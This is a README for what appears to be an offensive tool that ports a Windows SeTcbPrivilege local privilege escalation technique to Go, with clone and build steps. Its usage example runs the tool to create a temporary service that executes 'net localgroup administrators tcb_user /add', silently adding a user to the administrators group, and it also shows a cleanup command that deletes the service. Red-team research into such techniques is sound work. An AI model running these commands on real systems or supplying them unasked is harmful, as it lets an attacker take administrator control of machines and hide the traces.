SeTcbPrivilege Local Privilege Escalation

This repository contains a Go port of a local privilege escalation technique involving the SeTcbPrivilege. The original proof-of-concept is available at https://gist.github.com/antonioCoco/19563adef860614b56d010d92e67d178.

Download

The following will create and start a service called "AAATcb" that will execute the provided command.

.\tcb.exe "C:\Windows\system32\cmd.exe /c net localgroup administrators tcb_user /add"

The service is deleted automatically after program execution. To delete it manually, you can use the "clean" command.

.\tcb.exe clean

git clone https://github.com/CharminDoge/tcb-lpe.git
cd tcb-lpe
make